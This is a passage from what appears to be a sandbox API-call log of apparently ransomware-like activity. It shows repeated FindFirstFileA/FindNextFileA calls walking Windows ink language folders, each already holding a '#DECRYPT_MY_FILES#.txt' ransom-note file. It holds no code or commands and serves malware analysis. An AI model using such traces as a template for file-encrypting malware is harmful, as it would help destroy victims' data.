ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0033.918] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0033.918] FindClose (in: hFindFile=0x825910 | out: hFindFile=0x825910) returned 1 [0033.918] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="de-DE", cAlternateFileName="")) returned 1 [0033.918] AreFileApisANSI () returned 1 [0033.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.921] GetFileType (hFile=0xc4) returned 0x1 [0033.922] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.922] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="..", cAlternateFileName="")) returned 1 [0033.923] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb733ef80, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.923] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0033.923] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0033.923] FindClose (in: hFindFile=0x825910 | out: hFindFile=0x825910) returned 1 [0033.923] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="el-GR", cAlternateFileName="")) returned 1 [0033.923] AreFileApisANSI () returned 1 [0033.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.923] GetFileType (hFile=0xc4) returned 0x1 [0033.924] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.925] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="..", cAlternateFileName="")) returned 1 [0033.925] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb733ef80, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.925] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0033.925] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0033.925] FindClose (in: hFindFile=0x825910 | out: hFindFile=0x825910) returned 1 [0033.925] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="en-US", cAlternateFileName="")) returned 1 [0033.925] AreFileApisANSI () returned 1 [0033.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.928] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.928] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="..", cAlternateFileName="")) returned 1 [0033.928] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb733ef80, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73650e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.928] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0033.928] AreFileApisANSI () returned 1 [0033.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0033.929] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x40, dwReserved1=0x180, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0033.929] AreFileApisANSI () returned 1 [0033.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0033.930] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x40, dwReserved1=0x180, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0033.930] AreFileApisANSI () returned 1 [0033.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0033.930] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x40, dwReserved1=0x180, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0033.930] AreFileApisANSI () returned 1 [0033.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0033.930] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x40, dwReserved1=0x180, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0033.930] AreFileApisANSI () returned 1 [0033.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0033.930] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x40, dwReserved1=0x180, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0033.930] AreFileApisANSI () returned 1 [0033.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0033.931] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x40, dwReserved1=0x180, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0033.931] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0033.931] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0033.931] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0033.931] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0033.931] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0033.931] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="join.avi", cAlternateFileName="")) returned 1 [0033.931] AreFileApisANSI () returned 1 [0033.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0033.931] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x40, dwReserved1=0x180, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0033.931] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x40, dwReserved1=0x180, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0033.931] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x40, dwReserved1=0x180, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0033.932] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x40, dwReserved1=0x180, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0033.932] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x40, dwReserved1=0x180, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0033.932] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="split.avi", cAlternateFileName="")) returned 1 [0033.932] AreFileApisANSI () returned 1 [0033.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0033.932] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x40, dwReserved1=0x180, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0033.932] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x40, dwReserved1=0x180, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0033.932] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x40, dwReserved1=0x180, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0033.932] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x40, dwReserved1=0x180, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0033.932] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x40, 